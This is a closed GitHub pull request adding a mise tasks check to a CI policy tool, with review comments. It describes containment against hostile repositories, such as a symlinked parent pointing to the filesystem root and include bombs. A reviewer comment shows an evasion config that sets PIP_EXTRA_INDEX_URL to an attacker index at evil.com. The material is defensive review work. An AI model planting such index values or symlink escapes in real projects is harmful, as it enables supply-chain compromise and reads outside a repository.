Skip to content

feat(control): mise tasks check (mise-en-place, ISSUE-1017) - #670

Closed
Exypte wants to merge 4 commits into
feature/254-mise-sourcesfrom
feature/254-mise-tasks
Closed

Exypte wants to merge 4 commits into
feature/254-mise-sourcesfrom
feature/254-mise-tasks

Conversation

@Exypte

@Exypte Exypte commented Dec 1, 2026 •

Copy link
Copy Markdown
Contributor

What type of PR is this?

feat

What this PR does / why we need it:

The tasks check of mise-en-place. When CI runs mise run <task>, a project's tasks are the steps that actually run, so this checks that every mise project declares the ones the organization expects.

Code Subject Finding Severity
ISSUE-1017 tasks A mise project misses a task of required medium
mise:
  tasks:
    enabled: true
    required: [lint, test, scan]

required is a list. Each entry matches a task name or alias, globs allowed (lint:*). One finding per project that misses any of them, with the missing entries in missing. An empty list or a bad glob is a config error, and so are the expression form and requiredGroups of the earlier version of this PR. Off in plumber:default.

What counts as a project's tasks, matching mise tasks ls (checked side by side on mise 2026.11.16):

  • A project is a directory holding a config mise loads by default. mise.<env>.toml only loads with MISE_ENV, so its tasks and includes don't count.
  • [tasks] tables (with alias), TOML task files, and executable files in the task directories (mise-tasks/, .mise-tasks/, .mise/tasks/, .config/mise/tasks/, mise/tasks/). When task_config.includes is set, it replaces those directories; {{ config_root }} and ** globs are resolved.
  • File tasks are named as mise names them (db/migrate.sh is db:migrate, test/_default is test). #MISE alias= headers are read.
  • A parent directory's tasks are available in its subdirectories. task.skip and task.disable_paths drop what they name.

It fails closed: remote (git::, oci::, zip::), templated or outside-the-repo includes, and an include past 20,000 files, are not read, and the finding names them. Task files are read only when this check is on; a TOML task file that can't be parsed then stops the run, like any other mise file.

The collector reads untrusted repository paths, so resolveInRepo resolves the whole path, not only a final symlink (a symlinked parent such as esc -> / can't take a read out of the repository), each include is read once per project, and the files walked are capped.

Which issue(s) this PR is related to:

Part of #254 and #678 (PR 4 of 4). Based on #669 and retargeted as the earlier PRs merge.

Closes #678

Special notes for your reviewer:

Does this PR introduce a user-facing change?

mise-en-place gets a tasks check (ISSUE-1017): every mise project must declare each task in mise.tasks.required, a list of task names or aliases (globs allowed), counting its own tasks, its task directories and its parents' tasks, as `mise run` sees them. It is off by default; add a mise.tasks block to turn it on.

How was this tested?

  • make test passes: the collector (packagemanager/mise/tasks_test.go: naming, aliases, inheritance, every include kind, symlinks inside and outside the repository including through a parent directory, repeated includes, the file cap, env configs, task.skip / task.disable_paths, an unreadable task file stopping the run), config decoding (the list, the rejected old forms), the Rego cases (policies/mise_tasks_test.go), and the catalog and fingerprint goldens.
  • A hostile repo (500 includes of a directory of 200 links to a 2 MB file, plus includes through esc -> /): 27 s and about 200 GB read before the containment fixes, 0.9 s after, with esc/usr reported as not read.
  • plumber analyze on the example repo at feature/678-by-subject with its own .plumber.yaml (this is the first build of the stack that loads it whole):
Run Result
#669 branch rejects the .plumber.yaml (the tasks block)
this branch 20 findings, every code from 1001 to 1019 from its own directory (ISSUE-1010 can't fire in a repo that uses mise; versions/issue-1012 also gives ISSUE-1003), nothing at the root or in exempt-path/
 MED   ISSUE-1017  `tasks/issue-1017/disabled-dir/mise.toml` does not declare the required tasks: missing `test`
 MED   ISSUE-1017  `tasks/issue-1017/skipped-task/mise.toml` does not declare the required tasks: missing `lint`

AI usage disclosure:

YES. Claude Code wrote the code, tests and docs, following decisions made with the author on #254 and #678. The author reviewed the changes and is responsible for them.

🤖 Generated with Claude Code

Comment thread packagemanager/mise/tasks.go Resolved
@github-actions

github-actions Bot commented Dec 2, 2026 •

Copy link
Copy Markdown

Claude PR review — findings not anchorable to the diff

None on the latest revision.

@Exypte
Exypte force-pushed the feature/254-mise-tasks branch 2 times, most recently from 7beb572 to 8e87781 Compare December 2, 2026 15:56
Comment thread configuration/packagemanagers.go Resolved
Comment thread configuration/packagemanagers.go Resolved
Comment thread control/packagemanagers.go Resolved
Exypte and others added 4 commits December 3, 2026 11:09
Adds the tasks check of #254, configured by mise.tasks with `required`
(the pipelineMustIncludeComponent expression) or `requiredGroups`. It is
off in plumber:default. An empty group or a bad glob is a config error.

Every mise project (a directory holding a config mise loads by default)
must declare the required tasks, as `mise run` sees them there:
[tasks] tables, TOML task files and executable files of the task
directories (or task_config.includes, with {{ config_root }} and **
globs), and the tasks of parent directories. A required entry matches a
task name or alias, globs allowed. Tasks of mise.<env>.toml do not
count, and task.disable_paths / task.skip drop what they name.

It fails closed: remote, templated or outside includes, and an include
past 20,000 files, are not read and the finding names them. Every task
path must resolve inside the repository (resolveInRepo now resolves the
whole path, not only a final symlink), includes are read once per
project, and each file is read once. Task files are read only when the
tasks check runs (mise.Options.Tasks); an unparseable TOML task file then
stops the run like any other mise file.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Part of #678. mise.tasks.required is now a list of task names or
aliases, globs allowed: a mise project that misses any of them is
ISSUE-1017 (was ISSUE-1031), with the missing entries in `missing`.
The expression form and requiredGroups are config errors.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
…und trip

A parent config's task.skip and task.disable_paths drop tasks in its
subprojects, and a subproject's settings do not reach the parent. An
empty mise.sources.trustedRegistries (trust no URL) stays set through a
YAML round trip instead of becoming absent (check no URL).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@Exypte
Exypte force-pushed the feature/254-mise-tasks branch from 13ee55b to 655089c Compare December 3, 2026 10:10
@Exypte

Exypte commented Dec 3, 2026

Copy link
Copy Markdown
Contributor Author

Fixed in #669 (fb0c26d): only the URLs inside pipx_args/uvx_args are judged, so --system-site-packages is no longer reported.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔴 New control check

Medium: the sources check treats a multi-URL install_env value (space-separated PIP_EXTRA_INDEX_URL/UV_EXTRA_INDEX_URL, comma-separated GOPROXY) as one opaque string, causing both false positives on normal configs and false negatives that hide an untrusted index. (Medium)

In tableSourceOptions, an install_env entry is emitted as a single option whose value is the raw env string:

if env, ok := val["install_env"].(map[string]any); ok {
    for k, v := range env {
        if s, ok := v.(string); ok && isIndexEnvVar(k) {
            out = append(out, ir.MiseToolOption{Name: "install_env." + k, Value: s})
        }
    }
}

(packagemanager/mise/mise.go:849-855). That value flows unchanged into ir.MiseTool.SourceOptions and is matched as a whole by ISSUE-1016 in policies/mise_sources.rego:171-186 via not _matches(_check.trustedOptions, opt.value).

The problem is that several of the env vars in indexEnvVars (packagemanager/mise/mise.go:781-786) legitimately hold multiple URLs in one value: PIP_EXTRA_INDEX_URL/UV_EXTRA_INDEX_URL are whitespace-separated lists, and GOPROXY/GONOSUMDB are comma/pipe-separated (usually ending in the literal direct). The code never splits them, even though the sibling pipx_args/uvx_args options are explicitly split URL-by-URL through argURLs (packagemanager/mise/mise.go:748-775). This asymmetry produces two concrete wrong outcomes:

  • False positive (common). A standard Go config:

    [tools]
    go = { version = "1.22", install_env = { GOPROXY = "https://proxy.corp,direct" } }

    with sources.trustedOptions: ["https://proxy.corp"] yields opt.value = "https://proxy.corp,direct", which matches the trusted pattern as neither an exact string nor (without a trailing glob) a prefix, so ISSUE-1016 fires on a completely legitimate, idiomatic GOPROXY value. The same happens for two legitimately-trusted indexes listed in one PIP_EXTRA_INDEX_URL.

  • False negative (evasion). With a glob trusted pattern (the natural form for an internal index), e.g. trustedOptions: ["https://pypi.internal.corp/**"]:

    [tools]
    python = { version = "3.12", install_env = { PIP_EXTRA_INDEX_URL = "https://pypi.internal.corp/simple https://evil.com/simple" } }

    opt.value is the whole "https://pypi.internal.corp/simple https://evil.com/simple". Because _matches compiles the glob with no separator, */** swallow the rest of the string, so the trusted prefix matches the entire value and ISSUE-1016 does not fire — the attacker-controlled https://evil.com/simple index is never flagged. The equivalent expressed through pipx_args is caught, because argURLs splits it into individual URLs.

Suggested fix: give install_env values the same per-URL treatment as pipx_args/uvx_args — split the value on its separator (whitespace for the pip/uv *_INDEX_URL vars, ,/| for GOPROXY/GONOSUMDB), drop non-URL tokens such as direct, and emit one MiseToolOption per URL so each is matched against trustedOptions independently.

Control: .github/claude-prompts/new-control-check.md · resolve this conversation once addressed.

@Exypte

Exypte commented Dec 3, 2026

Copy link
Copy Markdown
Contributor Author

Collapsed into #665, which now carries the whole stack (head ebb6db6), so CI runs on all of it. The description of #665 covers this part.

@Exypte Exypte closed this Dec 3, 2026
@Exypte
Exypte deleted the feature/254-mise-tasks branch December 3, 2026 10:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

mise: rework the #254 stack before merge (control name, codes, trusted* keys, lockfile URL)

1 participant